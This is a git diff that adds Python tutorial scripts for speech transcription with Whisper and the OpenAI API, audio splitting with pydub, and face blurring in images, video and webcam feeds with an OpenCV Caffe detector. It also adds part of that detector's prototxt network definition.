chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + with sr.AudioFile(chunk_filename) as source: + audio_listened = r.record(source) + # try converting it to text + try: + text = r.recognize_google(audio_listened) + except sr.UnknownValueError as e: + print("Error:", str(e)) + else: + text = f"{text.capitalize()}. " + print(chunk_filename, ":", text) + whole_text += text + # return the text for all chunks detected + return whole_text + + +if __name__ == "__main__": + print(get_large_audio_transcription_on_silence("7601-291468-0006.wav")) \ No newline at end of file diff --git a/machine-learning/asr/transformers_whisper.py b/machine-learning/asr/transformers_whisper.py new file mode 100644 index 00000000..df8b2736 --- /dev/null +++ b/machine-learning/asr/transformers_whisper.py @@ -0,0 +1,63 @@ +from transformers import WhisperProcessor, WhisperForConditionalGeneration +import torch +import torchaudio + +device = "cuda:0" if torch.cuda.is_available() else "cpu" +# whisper_model_name = "openai/whisper-tiny.en" # English-only, ~ 151 MB +# whisper_model_name = "openai/whisper-base.en" # English-only, ~ 290 MB +# whisper_model_name = "openai/whisper-small.en" # English-only, ~ 967 MB +# whisper_model_name = "openai/whisper-medium.en" # English-only, ~ 3.06 GB +whisper_model_name = "openai/whisper-tiny" # multilingual, ~ 151 MB +# whisper_model_name = "openai/whisper-base" # multilingual, ~ 290 MB +# whisper_model_name = "openai/whisper-small" # multilingual, ~ 967 MB +# whisper_model_name = "openai/whisper-medium" # multilingual, ~ 3.06 GB +# whisper_model_name = "openai/whisper-large-v2" # multilingual, ~ 6.17 GB + +# load the model and the processor +whisper_processor = WhisperProcessor.from_pretrained(whisper_model_name) +whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name).to(device) + +def load_audio(audio_path): + """Load the audio file & convert to 16,000 sampling rate""" + # load our wav file + speech, sr = torchaudio.load(audio_path) + resampler = torchaudio.transforms.Resample(sr, 16000) + speech = resampler(speech) + return speech.squeeze() + + +def get_transcription_whisper(audio_path, model, processor, language="english", skip_special_tokens=True): + # resample from whatever the audio sampling rate to 16000 + speech = load_audio(audio_path) + # get the input features from the audio file + input_features = processor(speech, return_tensors="pt", sampling_rate=16000).input_features.to(device) + # get the forced decoder ids + forced_decoder_ids = processor.get_decoder_prompt_ids(language=language, task="transcribe") + # print(forced_decoder_ids) + # generate the transcription + predicted_ids = model.generate(input_features, forced_decoder_ids=forced_decoder_ids) + # decode the predicted ids + transcription = processor.batch_decode(predicted_ids, skip_special_tokens=skip_special_tokens)[0] + return transcription + + +if __name__ == "__main__": + english_transcription = get_transcription_whisper("7601-291468-0006.wav", + whisper_model, + whisper_processor, + language="english", + skip_special_tokens=True) + print("English transcription:", english_transcription) + arabic_transcription = get_transcription_whisper("arabic-audio.wav", + whisper_model, + whisper_processor, + language="arabic", + skip_special_tokens=True) + print("Arabic transcription:", arabic_transcription) + spanish_transcription = get_transcription_whisper("cual-es-la-fecha-cumple.mp3", + whisper_model, + whisper_processor, + language="spanish", + skip_special_tokens=True) + print("Spanish transcription:", spanish_transcription) + \ No newline at end of file diff --git a/machine-learning/asr/transformers_whisper_long.py b/machine-learning/asr/transformers_whisper_long.py new file mode 100644 index 00000000..1f7916c8 --- /dev/null +++ b/machine-learning/asr/transformers_whisper_long.py @@ -0,0 +1,44 @@ + +from transformers import pipeline +import torch +import torchaudio + +device = "cuda:0" if torch.cuda.is_available() else "cpu" +# whisper_model_name = "openai/whisper-tiny.en" # English-only, ~ 151 MB +# whisper_model_name = "openai/whisper-base.en" # English-only, ~ 290 MB +# whisper_model_name = "openai/whisper-small.en" # English-only, ~ 967 MB +# whisper_model_name = "openai/whisper-medium.en" # English-only, ~ 3.06 GB +whisper_model_name = "openai/whisper-tiny" # multilingual, ~ 151 MB +# whisper_model_name = "openai/whisper-base" # multilingual, ~ 290 MB +# whisper_model_name = "openai/whisper-small" # multilingual, ~ 967 MB +# whisper_model_name = "openai/whisper-medium" # multilingual, ~ 3.06 GB +# whisper_model_name = "openai/whisper-large-v2" # multilingual, ~ 6.17 GB + +def load_audio(audio_path): + """Load the audio file & convert to 16,000 sampling rate""" + # load our wav file + speech, sr = torchaudio.load(audio_path) + resampler = torchaudio.transforms.Resample(sr, 16000) + speech = resampler(speech) + return speech.squeeze() + + +def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True, + chunk_length_s=10, stride_length_s=1): + """Get the transcription of a long audio file using the Whisper model""" + return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps, + chunk_length_s=chunk_length_s, stride_length_s=stride_length_s) + + +if __name__ == "__main__": + # initialize the pipeline + pipe = pipeline("automatic-speech-recognition", + model=whisper_model_name, device=device) + # get the transcription of a sample long audio file + output = get_long_transcription_whisper( + "7601-291468-0006.wav", pipe, chunk_length_s=10, stride_length_s=2) + print(f"Transcription: {output}") + print("="*50) + for chunk in output["chunks"]: + # print the timestamp and the text + print(chunk["timestamp"], ":", chunk["text"]) \ No newline at end of file diff --git a/machine-learning/asr/whisper_api.py b/machine-learning/asr/whisper_api.py new file mode 100644 index 00000000..8187277d --- /dev/null +++ b/machine-learning/asr/whisper_api.py @@ -0,0 +1,16 @@ +import openai + +# API key +openai.api_key = "" + +def get_openai_api_transcription(audio_filename): + # open the audio file + with open(audio_filename, "rb") as audio_file: + # transcribe the audio file + transcription = openai.Audio.transcribe("whisper-1", audio_file) # whisper-1 is the model name + return transcription + + +if __name__ == "__main__": + transcription = get_openai_api_transcription("7601-291468-0006.wav") + print(transcription.get("text")) \ No newline at end of file diff --git a/machine-learning/asr/whisper_api_long.py b/machine-learning/asr/whisper_api_long.py new file mode 100644 index 00000000..7768749b --- /dev/null +++ b/machine-learning/asr/whisper_api_long.py @@ -0,0 +1,77 @@ +from pydub.silence import split_on_silence +from pydub import AudioSegment +from whisper_api import get_openai_api_transcription +import os + +# a function that splits the audio file into chunks +# and applies speech recognition +def get_large_audio_transcription_on_silence(path): + """ + Splitting the large audio file into chunks + and apply speech recognition on each of these chunks + """ + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split audio sound where silence is 700 miliseconds or more and get chunks + chunks = split_on_silence(sound, + # experiment with this value for your target audio file + min_silence_len = 500, + # adjust this per requirement + silence_thresh = sound.dBFS-14, + # keep the silence for 1 second, adjustable as well + keep_silence=500, + ) + folder_name = "audio-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + transcription = get_openai_api_transcription(chunk_filename) + print(f"{chunk_filename}: {transcription.get('text')}") + whole_text += " " + transcription.get("text") + # return the text for all chunks detected + return whole_text + + +# a function that splits the audio file into fixed interval chunks +# and applies speech recognition +def get_large_audio_transcription_fixed_interval(path, minutes=5): + """ + Splitting the large audio file into 5-minute chunks + and apply speech recognition on each of these chunks + """ + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split the audio file into chunks + chunk_length_ms = int(1000 * 60 * minutes) # convert to milliseconds + chunks = [sound[i:i + chunk_length_ms] for i in range(0, len(sound), chunk_length_ms)] + folder_name = "audio-fixed-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + transcription = get_openai_api_transcription(chunk_filename) + print(f"{chunk_filename}: {transcription.get('text')}") + whole_text += " " + transcription.get("text") + # return the text for all chunks detected + return whole_text + + + +if __name__ == "__main__": + # print("\nFull text:", get_large_audio_transcription_fixed_interval("032.mp3", minutes=1)) + print("\nFull text:", get_large_audio_transcription_on_silence("7601-291468-0006.wav")) \ No newline at end of file diff --git a/machine-learning/blur-faces/README.md b/machine-learning/blur-faces/README.md new file mode 100644 index 00000000..50f1cd0f --- /dev/null +++ b/machine-learning/blur-faces/README.md @@ -0,0 +1,17 @@ +# [How to Blur Faces in Images using OpenCV in Python](https://www.thepythoncode.com/article/blur-faces-in-images-using-opencv-in-python) +To run this: +- `pip3 install -r requirements.txt` +- To blur faces of the image `father-and-daughter.jpg`: + ``` + python blur_faces.py father-and-daughter.jpg + ``` + This should show the blurred image and save it of the name `image_blurred.jpg` in your current directory. + +- To blur faces using your live camera: + ``` + python blur_faces_live.py + ``` +- To blur faces of a video: + ``` + python blur_faces_video.py video.3gp + ``` \ No newline at end of file diff --git a/machine-learning/blur-faces/blur_faces.py b/machine-learning/blur-faces/blur_faces.py new file mode 100644 index 00000000..dfe4f59d --- /dev/null +++ b/machine-learning/blur-faces/blur_faces.py @@ -0,0 +1,44 @@ +import cv2 +import numpy as np +import sys + +# https://raw.githubusercontent.com/opencv/opencv/master/samples/dnn/face_detector/deploy.prototxt +prototxt_path = "weights/deploy.prototxt.txt" +# https://raw.githubusercontent.com/opencv/opencv_3rdparty/dnn_samples_face_detector_20180205_fp16/res10_300x300_ssd_iter_140000_fp16.caffemodel +model_path = "weights/res10_300x300_ssd_iter_140000_fp16.caffemodel" + +# load Caffe model +model = cv2.dnn.readNetFromCaffe(prototxt_path, model_path) +# get the image file name from the command line +image_file = sys.argv[1] +# read the desired image +image = cv2.imread(image_file) +# get width and height of the image +h, w = image.shape[:2] +# gaussian blur kernel size depends on width and height of original image +kernel_width = (w // 7) | 1 +kernel_height = (h // 7) | 1 +# preprocess the image: resize and performs mean subtraction +blob = cv2.dnn.blobFromImage(image, 1.0, (300, 300), (104.0, 177.0, 123.0)) +# set the image into the input of the neural network +model.setInput(blob) +# perform inference and get the result +output = np.squeeze(model.forward()) +for i in range(0, output.shape[0]): + confidence = output[i, 2] + # get the confidence + # if confidence is above 40%, then blur the bounding box (face) + if confidence > 0.4: + # get the surrounding box cordinates and upscale them to original image + box = output[i, 3:7] * np.array([w, h, w, h]) + # convert to integers + start_x, start_y, end_x, end_y = box.astype(np.int) + # get the face image + face = image[start_y: end_y, start_x: end_x] + # apply gaussian blur to this face + face = cv2.GaussianBlur(face, (kernel_width, kernel_height), 0) + # put the blurred face into the original image + image[start_y: end_y, start_x: end_x] = face +cv2.imshow("image", image) +cv2.waitKey(0) +cv2.imwrite("image_blurred.jpg", image) \ No newline at end of file diff --git a/machine-learning/blur-faces/blur_faces_live.py b/machine-learning/blur-faces/blur_faces_live.py new file mode 100644 index 00000000..8f4dc4d2 --- /dev/null +++ b/machine-learning/blur-faces/blur_faces_live.py @@ -0,0 +1,50 @@ +import cv2 +import numpy as np +import time + +# https://raw.githubusercontent.com/opencv/opencv/master/samples/dnn/face_detector/deploy.prototxt +prototxt_path = "weights/deploy.prototxt.txt" +# https://raw.githubusercontent.com/opencv/opencv_3rdparty/dnn_samples_face_detector_20180205_fp16/res10_300x300_ssd_iter_140000_fp16.caffemodel +model_path = "weights/res10_300x300_ssd_iter_140000_fp16.caffemodel" + +# load Caffe model +model = cv2.dnn.readNetFromCaffe(prototxt_path, model_path) + +cap = cv2.VideoCapture(0) +while True: + start = time.time() + _, image = cap.read() + # get width and height of the image + h, w = image.shape[:2] + kernel_width = (w // 7) | 1 + kernel_height = (h // 7) | 1 + # preprocess the image: resize and performs mean subtraction + blob = cv2.dnn.blobFromImage(image, 1.0, (300, 300), (104.0, 177.0, 123.0)) + # set the image into the input of the neural network + model.setInput(blob) + # perform inference and get the result + output = np.squeeze(model.forward()) + for i in range(0, output.shape[0]): + confidence = output[i, 2] + # get the confidence + # if confidence is above 40%, then blur the bounding box (face) + if confidence > 0.4: + # get the surrounding box cordinates and upscale them to original image + box = output[i, 3:7] * np.array([w, h, w, h]) + # convert to integers + start_x, start_y, end_x, end_y = box.astype(np.int) + # get the face image + face = image[start_y: end_y, start_x: end_x] + # apply gaussian blur to this face + face = cv2.GaussianBlur(face, (kernel_width, kernel_height), 0) + # put the blurred face into the original image + image[start_y: end_y, start_x: end_x] = face + cv2.imshow("image", image) + if cv2.waitKey(1) == ord("q"): + break + time_elapsed = time.time() - start + fps = 1 / time_elapsed + print("FPS:", fps) + +cv2.destroyAllWindows() +cap.release() \ No newline at end of file diff --git a/machine-learning/blur-faces/blur_faces_video.py b/machine-learning/blur-faces/blur_faces_video.py new file mode 100644 index 00000000..b87122ea --- /dev/null +++ b/machine-learning/blur-faces/blur_faces_video.py @@ -0,0 +1,61 @@ +import cv2 +import numpy as np +import time +import sys + +# https://raw.githubusercontent.com/opencv/opencv/master/samples/dnn/face_detector/deploy.prototxt +prototxt_path = "weights/deploy.prototxt.txt" +# https://raw.githubusercontent.com/opencv/opencv_3rdparty/dnn_samples_face_detector_20180205_fp16/res10_300x300_ssd_iter_140000_fp16.caffemodel +model_path = "weights/res10_300x300_ssd_iter_140000_fp16.caffemodel" + +# load Caffe model +model = cv2.dnn.readNetFromCaffe(prototxt_path, model_path) +# get video file from command line +video_file = sys.argv[1] +# capture frames from video +cap = cv2.VideoCapture(video_file) +fourcc = cv2.VideoWriter_fourcc(*"XVID") +_, image = cap.read() +print(image.shape) +out = cv2.VideoWriter("output.avi", fourcc, 20.0, (image.shape[1], image.shape[0])) +while True: + start = time.time() + captured, image = cap.read() + # get width and height of the image + if not captured: + break + h, w = image.shape[:2] + kernel_width = (w // 7) | 1 + kernel_height = (h // 7) | 1 + # preprocess the image: resize and performs mean subtraction + blob = cv2.dnn.blobFromImage(image, 1.0, (300, 300), (104.0, 177.0, 123.0)) + # set the image into the input of the neural network + model.setInput(blob) + # perform inference and get the result + output = np.squeeze(model.forward()) + for i in range(0, output.shape[0]): + confidence = output[i, 2] + # get the confidence + # if confidence is above 40%, then blur the bounding box (face) + if confidence > 0.4: + # get the surrounding box cordinates and upscale them to original image + box = output[i, 3:7] * np.array([w, h, w, h]) + # convert to integers + start_x, start_y, end_x, end_y = box.astype(np.int) + # get the face image + face = image[start_y: end_y, start_x: end_x] + # apply gaussian blur to this face + face = cv2.GaussianBlur(face, (kernel_width, kernel_height), 0) + # put the blurred face into the original image + image[start_y: end_y, start_x: end_x] = face + cv2.imshow("image", image) + if cv2.waitKey(1) == ord("q"): + break + time_elapsed = time.time() - start + fps = 1 / time_elapsed + print("FPS:", fps) + out.write(image) + +cv2.destroyAllWindows() +cap.release() +out.release() \ No newline at end of file diff --git a/machine-learning/blur-faces/father-and-daughter.jpg b/machine-learning/blur-faces/father-and-daughter.jpg new file mode 100644 index 00000000..492ab87a Binary files /dev/null and b/machine-learning/blur-faces/father-and-daughter.jpg differ diff --git a/machine-learning/blur-faces/image_blurred.jpg b/machine-learning/blur-faces/image_blurred.jpg new file mode 100644 index 00000000..6c238111 Binary files /dev/null and b/machine-learning/blur-faces/image_blurred.jpg differ diff --git a/machine-learning/blur-faces/requirements.txt b/machine-learning/blur-faces/requirements.txt new file mode 100644 index 00000000..6f1e5232 --- /dev/null +++ b/machine-learning/blur-faces/requirements.txt @@ -0,0 +1,2 @@ +opencv-python +numpy \ No newline at end of file diff --git a/machine-learning/blur-faces/weights/deploy.prototxt.txt b/machine-learning/blur-faces/weights/deploy.prototxt.txt new file mode 100644 index 00000000..845a067c --- /dev/null +++ b/machine-learning/blur-faces/weights/deploy.prototxt.txt @@ -0,0 +1,1790 @@ +input: "data" +input_shape { + dim: 1 + dim: 3 + dim: 300 + dim: 300 +} + +layer { + name: "data_bn" + type: "BatchNorm" + bottom: "data" + top: "data_bn" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "data_scale" + type: "Scale" + bottom: "data_bn" + top: "data_bn" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "conv1_h" + type: "Convolution" + bottom: "data_bn" + top: "conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 32 + pad: 3 + kernel_size: 7 + stride: 2 + weight_filler { + type: "msra" + variance_norm: FAN_OUT + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "conv1_bn_h" + type: "BatchNorm" + bottom: "conv1_h" + top: "conv1_h" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "conv1_scale_h" + type: "Scale" + bottom: "conv1_h" + top: "conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "conv1_relu" + type: "ReLU" + bottom: "conv1_h" + top: "conv1_h" +} +layer { + name: "conv1_pool" + type: "Pooling" + bottom: "conv1_h" + top: "conv1_pool" + pooling_param { + kernel_size: 3 + stride: 2 + } +} +layer { + name: "layer_64_1_conv1_h" + type: "Convolution" + bottom: "conv1_pool" + top: "layer_64_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 32 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_64_1_bn2_h" + type: "BatchNorm" + bottom: "layer_64_1_conv1_h" + top: "layer_64_1_conv1_h" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_64_1_scale2_h" + type: "Scale" + bottom: "layer_64_1_conv1_h" + top: "layer_64_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_64_1_relu2" + type: "ReLU" + bottom: "layer_64_1_conv1_h" + top: "layer_64_1_conv1_h" +} +layer { + name: "layer_64_1_conv2_h" + type: "Convolution" + bottom: "layer_64_1_conv1_h" + top: "layer_64_1_conv2_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 32 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_64_1_sum" + type: "Eltwise" + bottom: "layer_64_1_conv2_h" + bottom: "conv1_pool" + top: "layer_64_1_sum" +} +layer { + name: "layer_128_1_bn1_h" + type: "BatchNorm" + bottom: "layer_64_1_sum" + top: "layer_128_1_bn1_h" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_128_1_scale1_h" + type: "Scale" + bottom: "layer_128_1_bn1_h" + top: "layer_128_1_bn1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_128_1_relu1" + type: "ReLU" + bottom: "layer_128_1_bn1_h" + top: "layer_128_1_bn1_h" +} +layer { + name: "layer_128_1_conv1_h" + type: "Convolution" + bottom: "layer_128_1_bn1_h" + top: "layer_128_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 128 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_128_1_bn2" + type: "BatchNorm" + bottom: "layer_128_1_conv1_h" + top: "layer_128_1_conv1_h" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_128_1_scale2" + type: "Scale" + bottom: "layer_128_1_conv1_h" + top: "layer_128_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_128_1_relu2" + type: "ReLU" + bottom: "layer_128_1_conv1_h" + top: "layer_128_1_conv1_h" +} +layer { + name: "layer_128_1_conv2" + type: "Convolution" + bottom: "layer_128_1_conv1_h" + top: "layer_128_1_conv2" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 128 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_128_1_conv_expand_h" + type: "Convolution" + bottom: "layer_128_1_bn1_h" + top: "layer_128_1_conv_expand_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 128 + bias_term: false + pad: 0 + kernel_size: 1 + stride: 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_128_1_sum" + type: "Eltwise" + bottom: "layer_128_1_conv2" + bottom: "layer_128_1_conv_expand_h" + top: "layer_128_1_sum" +} +layer { + name: "layer_256_1_bn1" + type: "BatchNorm" + bottom: "layer_128_1_sum" + top: "layer_256_1_bn1" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_256_1_scale1" + type: "Scale" + bottom: "layer_256_1_bn1" + top: "layer_256_1_bn1" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_256_1_relu1" + type: "ReLU" + bottom: "layer_256_1_bn1" + top: "layer_256_1_bn1" +} +layer { + name: "layer_256_1_conv1" + type: "Convolution" + bottom: "layer_256_1_bn1" + top: "layer_256_1_conv1" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 256 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_256_1_bn2" + type: "BatchNorm" + bottom: "layer_256_1_conv1" + top: "layer_256_1_conv1" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_256_1_scale2" + type: "Scale" + bottom: "layer_256_1_conv1" + top: "layer_256_1_conv1" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_256_1_relu2" + type: "ReLU" + bottom: "layer_256_1_conv1" + top: "layer_256_1_conv1" +} +layer { + name: "layer_256_1_conv2" + type: "Convolution" + bottom: "layer_256_1_conv1" + top: "layer_256_1_conv2" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 256 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_256_1_conv_expand" + type: "Convolution" + bottom: "layer_256_1_bn1" + top: "layer_256_1_conv_expand" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 256 + bias_term: false + pad: 0 + kernel_size: 1 + stride: 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_256_1_sum" + type: "Eltwise" + bottom: "layer_256_1_conv2" + bottom: "layer_256_1_conv_expand" + top: "layer_256_1_sum" +} +layer { + name: "layer_512_1_bn1" + type: "BatchNorm" + bottom: "layer_256_1_sum" + top: "layer_512_1_bn1" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_512_1_scale1" + type: "Scale" + bottom: "layer_512_1_bn1" + top: "layer_512_1_bn1" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_512_1_relu1" + type: "ReLU" + bottom: "layer_512_1_bn1" + top: "layer_512_1_bn1" +} +layer { + name: "layer_512_1_conv1_h" + type: "Convolution" + bottom: "layer_512_1_bn1" + top: "layer_512_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 128 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 1 # 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_512_1_bn2_h" + type: "BatchNorm" + bottom: "layer_512_1_conv1_h" + top: "layer_512_1_conv1_h" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_512_1_scale2_h" + type: "Scale" + bottom: "layer_512_1_conv1_h" + top: "layer_512_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_512_1_relu2" + type: "ReLU" + bottom: "layer_512_1_conv1_h" + top: "layer_512_1_conv1_h" +} +layer { + name: "layer_512_1_conv2_h" + type: "Convolution" + bottom: "layer_512_1_conv1_h" + top: "layer_512_1_conv2_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 256 + bias_term: false + pad: 2 # 1 + kernel_size: 3 + stride: 1 + dilation: 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_512_1_conv_expand_h" + type: "Convolution" + bottom: "layer_512_1_bn1" + top: "layer_512_1_conv_expand_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 256 + bias_term: false + pad: 0 + kernel_size: 1 + stride: 1 # 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_512_1_sum" + type: "Eltwise" + bottom: "layer_512_1_conv2_h" + bottom: "layer_512_1_conv_expand_h" + top: "layer_512_1_sum" +} +layer { + name: "last_bn_h" + type: "BatchNorm" + bottom: "layer_512_1_sum" + top: "layer_512_1_sum" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "last_scale_h" + type: "Scale" + bottom: "layer_512_1_sum" + top: "layer_512_1_sum" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "last_relu" + type: "ReLU" + bottom: "layer_512_1_sum" + top: "fc7" +} + +layer { + name: "conv6_1_h" + type: "Convolution" + bottom: "fc7" + top: "conv6_1_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 128 + pad: 0 + kernel_size: 1 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv6_1_relu" + type: "ReLU" + bottom: "conv6_1_h" + top: "conv6_1_h" +} +layer { + name: "conv6_2_h" + type: "Convolution" + bottom: "conv6_1_h" + top: "conv6_2_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 256 + pad: 1 + kernel_size: 3 + stride: 2 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv6_2_relu" + type: "ReLU" + bottom: "conv6_2_h" + top: "conv6_2_h" +} +layer { + name: "conv7_1_h" + type: "Convolution" + bottom: "conv6_2_h" + top: "conv7_1_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 64 + pad: 0 + kernel_size: 1 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv7_1_relu" + type: "ReLU" + bottom: "conv7_1_h" + top: "conv7_1_h" +} +layer { + name: "conv7_2_h" + type: "Convolution" + bottom: "conv7_1_h" + top: "conv7_2_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 128 + pad: 1 + kernel_size: 3 + stride: 2 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv7_2_relu" + type: "ReLU" + bottom: "conv7_2_h" + top: "conv7_2_h" +} +layer { + name: "conv8_1_h" + type: "Convolution" + bottom: "conv7_2_h" + top: "conv8_1_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 64 + pad: 0 + kernel_size: 1 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv8_1_relu" + type: "ReLU" + bottom: "conv8_1_h" + top: "conv8_1_h" +} +layer { + name: "conv8_2_h" + type: "Convolution" + bottom: "conv8_1_h" + top: "conv8_2_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 128 + pad: 0 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv8_2_relu" + type: "ReLU" + bottom: "conv8_2_h" + top: "conv8_2_h" +} +layer { + name: "conv9_1_h" + type: "Convolution" + bottom: "conv8_2_h" + top: "conv9_1_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 64 + pad: 0 + kernel_size: 1 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + 